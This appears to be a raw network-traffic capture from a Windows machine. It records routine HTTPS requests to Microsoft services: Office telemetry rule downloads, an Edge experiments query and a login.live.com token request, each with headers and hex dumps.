2024-11-17 02:42:30 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:31 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 02:42:31 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-16547b76f7fzwxm2hC1DFWt5hw000000018g00000000c8y7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-16547b76f7fxqj4khC1DFWpypw00000000yg00000000m7n5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-16547b76f7fbkfmzhC1DFWm9tw000000037g00000000ky0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5ed283f4-c01e-0082-577f-38af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-1866b5c5fbb2t6txhC1DFWa2qc00000003m000000000mp8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:31 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 18e8abea-801e-0035-0dc3-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-164f84587bfdt5l2hC1DFW88gs00000001y000000000fwqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:31 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024232Z-164f84587bfsqsthhC1DFWh63000000002tg00000000b9r2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024231Z-16547b76f7fgvq8chC1DFWhd2w000000048000000000d75w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024232Z-16547b76f7f64d6whC1DFWf9vn00000002b00000000036fb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49774	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 02:42:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 02:42:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 02:41:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: f011f7b7-6eba-489e-90f9-723e006bad22 PPServer: PPV: 30 H: SN1PEPF0002F9DD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 02:42:32 GMT Connection: close Content-Length: 1276
2024-11-17 02:42:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:32 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:32 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024232Z-1866b5c5fbbldb6rhC1DFW4bew00000003zg0000000030e4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:32 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 2028dee8-601e-0097-4b81-37f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024232Z-16547b76f7fwm7vghC1DFW900s00000001c0000000000hav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
